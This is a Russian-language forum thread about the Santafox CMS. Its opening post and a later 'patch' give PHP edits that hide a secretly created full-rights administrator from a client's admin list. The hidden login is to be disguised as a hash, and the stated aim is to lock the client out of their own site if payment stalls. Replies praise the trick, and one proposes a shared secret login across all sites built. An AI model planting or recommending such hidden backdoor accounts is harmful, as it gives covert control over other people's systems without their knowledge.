Автор Тема: Защищаем свой труд от недобросовестного заказчика!  (Прочитано 37207 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
Наверняка, при создании сайта на заказ, многие сталкивались с такой ситуацией:

Взяв задаток, вы сделали проект, показали заказчику, все нормально.....далее

- Зём, мамой клянусь да, отдай проект, мы ща его покажем дяде Васе, тот нам сразу бабла, мы тебе оставшуюся часть, будь человеком, войди в положение....

Вы, как человек с широкой душой, отдаете проект, потом начинается.....Дядя Вася уехал, вебмани не работают, завтра-послезавтра, на той неделе и т.д.

А проект вы уже отдали, пароли они естественно все поменяли....сделать Вы ничего не можете.... Остается вытереть сопли и ждать.....ЧЕСТНО заработанные деньги.....

НО, мы то же не пальцем деланные, предлагаю вашему вниманию фичу, которая поможет вам получить остаток своих денег. Способ не претендует на уникальность и спасение от всех бед, но от дурака поможет точно.....

Итак, при создании сайта, мы указываем логин и пароль дефолтного админа. У пока мы делаем проект, он у нас как правило один и висит, его доступ мы и отдаем заказчику, он меняет пароль и мы бессильны.

Если перед тем, как отдать проект, вы сомневаетесь в порядочности заказчика, можно сделать следующее:

1. Создаем еще одного админа. (Администраторы -> Управление администраторами -> Добавить пользователя)
2. Даем ему все права, главный и все такое.
3. Далее надо либо в БД поправить кое чего, но можно просто, выйти из админки и зайти под логином и паролем только что созданного админа.
4. Открываем файл сайт.ру/admin/manager_users.class.php

ищем в нем функцию function bof_show_form_admin() (У меня это строчка 1070, но наверняка могут быть отличия, файл у меня доработанный)

function bof_show_form_admin()
    {
    global $kernel;

    $user_tmp = $this->get_array_users();
    $template = $kernel->pub_template_parse("admin/templates/default/access_list_admin.html");
    $html = $template['main'];

вставляеи одну маааленькую строку, получаем:

function bof_show_form_admin()
    {
    global $kernel;

    $user_tmp = $this->get_array_users();
unset($user_tmp[1]);
    $template = $kernel->pub_template_parse("admin/templates/default/access_list_admin.html");
    $html = $template['main'];

unset($user_tmp[1]); - что делает эта функция? Она удаляет второй элемент массива.

В результате, в админке, в списке администраторов нашего, второго созданного админа не будет видно!!! Т.е. заказчик (если он не шибка шарит в программировании и БД) никогда и не узнает, что у него "живет" секретный администратор :)
Даже если он потом создаст еще десяток, все будут выводится, наш нет....

Так вот, если денег не платят, заходим в админку под нашим "секретным админом", ну а там уже у кого на что фантазии хватит :) Самое действенное, я думаю, поменять пароль от админа заказчика, тогда он сам к вам прибежит....

вот, как то так...кому надо, пользуйтесь.....

Всем удачи!

« Последнее редактирование: 14 января 2012, 18:21:20 от arteshuk »

Оффлайн abasia

  • Молодой лис
  • **
  • Сообщений: 85
  • Авторитет: 15
  • Пол: Мужской
    • Просмотр профиля
Полезно, спасибо!

Smile500

  • Гость
как показывает практика, заказчику не нужны пароли от фтп и панели управления :)

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
как показывает практика, заказчику не нужны пароли от фтп и панели управления :)

ну это если он хостится у тебя....а если у себя?

Оффлайн Roman

  • Старый лис
  • *****
  • Сообщений: 520
  • Авторитет: -140
  • Пол: Мужской
  • "Полож птичку!.." (С)
    • Просмотр профиля
да, полезная штука, когда удаленно и без договора делаешь

Оффлайн mikola_design

  • Новичок
  • *
  • Сообщений: 42
  • Авторитет: 5
  • Пол: Мужской
    • Просмотр профиля
Ну что сказать, arteshuk всегда на высота, я делаю не много по другому, но такой вариант иметь в заметке необходимо, недавно об этом думал кстати... СУПЕР! ;)

P.S. Пора тебя брать в команду к разработчикам, потому что движется система благодаря тебе сейчас хоть в какой то степени, спасибо.

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
Спасибо!  :-\

Оффлайн zond

  • Молодой лис
  • **
  • Сообщений: 96
  • Авторитет: 20
    • Просмотр профиля
Самое верное ребята держать на своем хостинге, и отдавать только после уплаты..  создаешь временное доменое имя  типа   

название_проекта.ваш_домен

и спокойно работаешь.

Smile500

  • Гость
согласен. думаю что заказчику, когда он узнает о таких делах, не очень-то понравится...

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
Самое верное ребята держать на своем хостинге, и отдавать только после уплаты..  создаешь временное доменое имя  типа   
название_проекта.ваш_домен
и спокойно работаешь.

Это верно....но вот например с этим как быть?
http://forum.santafox.ru/index.php?topic=2746.msg15839#msg15839
Сказать отдавай мне сайт целиком?

Ну и при переносе, чудеса всякие бывают....

Цитировать
согласен. думаю что заказчику, когда он узнает о таких делах, не очень-то понравится...

ну конечно не понравиться, он царь и бог, а на исполнителя можно положить большой и толстый....

в конце концов, можно удалить эту запись из БД и строчку из скрипта....удаленно, не имея доступов....как только получены все деньги...

Оффлайн DET

  • Местный лис
  • ***
  • Сообщений: 169
  • Авторитет: 4
  • Пол: Мужской
  • DET
    • Просмотр профиля
Посмотрел все классно !!  Но есть одно но.. Если клиент захочет удалить свой логин и пароль полностью и поставить новый , то автоматом выскакивает то что мы пытались спрятать.. Логин и пароль главного администратора...  Проверь.. Или я ошибаюсь...
А так фишка классная..

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
DET, какие видишь выходы?
Мне с утра, кроме как запрет на удаление первого админа, в голову ничего не лезет :(

Оффлайн DET

  • Местный лис
  • ***
  • Сообщений: 169
  • Авторитет: 4
  • Пол: Мужской
  • DET
    • Просмотр профиля
Фишка просто класс , ты молоток , спору нет.. НЕ только у тебя были такие проблемы , практический у Всех, ЗАВТРАКАМИ КОРМЯТ... Или я не то говорю... А?

Были и у меня такие дибилы клиенты,  когда футболили меня месяц два и три  и т.д. . Все правильно ты сделал, вопросов нет. Тут каждый ответит...

Я теперь дай  логин  и пароль который должен получить клиент..Но  не полный доступ к админке... И никогда не даю вход к  FTP...  Клиент заказывает сайт - на держи тебе сайт... Но доступ к хостингу -прости , нихрена ты не получишь .. Так что твои проблемы мне знакомы, и понятны..Нужен сайт - не опрос НА, нужен доступ к хостингу - отвали он не твой а мой.

 Я так налетел один раз на 25 т. р. от клиента..Футболил затракамикормл пока я не закрыл полностью сайт.   А Фишка то что ты сделал - просто класс.. Все тебя поддержат . Молоток....Молоток....  Молоток...  Можно сделать один пароль на Все изготовл. сайты. . И не парится.. Все равно клиент его не увидит... Кто согласен со мной? Я ЗА...

Оффлайн arteshuk

  • Разработчики
  • Ветеран
  • *****
  • Сообщений: 1 214
  • Авторитет: 130
  • Пол: Мужской
    • Просмотр профиля
DET, спасибо за найденный баг и теплые слова :)

Вот заплатка к найденной тобой ошибке:

описанную выше функцию, необходимо привести к следующему виду:

function bof_show_form_admin()
    {
    global $kernel;

    $user_tmp = $this->get_array_users();
              foreach ($user_tmp as $key => $value)
                   {
                   if (array_search ('my_admin', $value))
                        {
unset($user_tmp[$key]);
}
   }
    $template = $kernel->pub_template_parse("admin/templates/default/access_list_admin.html");

Обращаем внимание на эту строчку:

if (array_search ('my_admin', $value))

здесь my_admin - это логин того "секретного" админа, которого мы создали. Естественно, здесь мы не пишем ivanov_vasya!!! создаем логин типа 030ef3000d808274fe601714a784c2bd. так сложнее будет спалить код. Вообще были мысли жестко привязать нашего админа к такому логину: имя домена_santafox, но не знаю, надо ли это....

Что мы делаем теперь? теперь мы ищем в многомерном массиве КЛЮЧ именно нашего админа и удаляем этот элемент массива. И не важно, каким по счету идет наш админ, первым или 48-м.

Теперь, что бы там не вытворял заказчик, удалял главного и т.д., наш админ всегда будет скрыт!
« Последнее редактирование: 15 января 2012, 23:08:20 от arteshuk »

Base4You

  • Гость
много раз видел в CMS-ках при инсталяции просили ввести логин и пароль суперадмина, которого нельзя будет удалить и изменить.
может такое же сделать при инсталяции в санте?
в базе админов сделать признак для логина 0 или 1
0 - суперадмин, который при инстале заносится, не показывается в списке админов, не изменяется и не удаляется
1 - простой админ, который показывается в админке с возможностью редактирования
и все, т.е. суперадмину при инсталяции ставим признак 0, т.е. он не удаляется и не показывается в списке, а остальным признак 1.
Вот и все решение проблемы как я вижу, суперадмин остается у исполнителя, а заказчику создаем новый логин, который он если хочет изменяет/удаляет и т.д.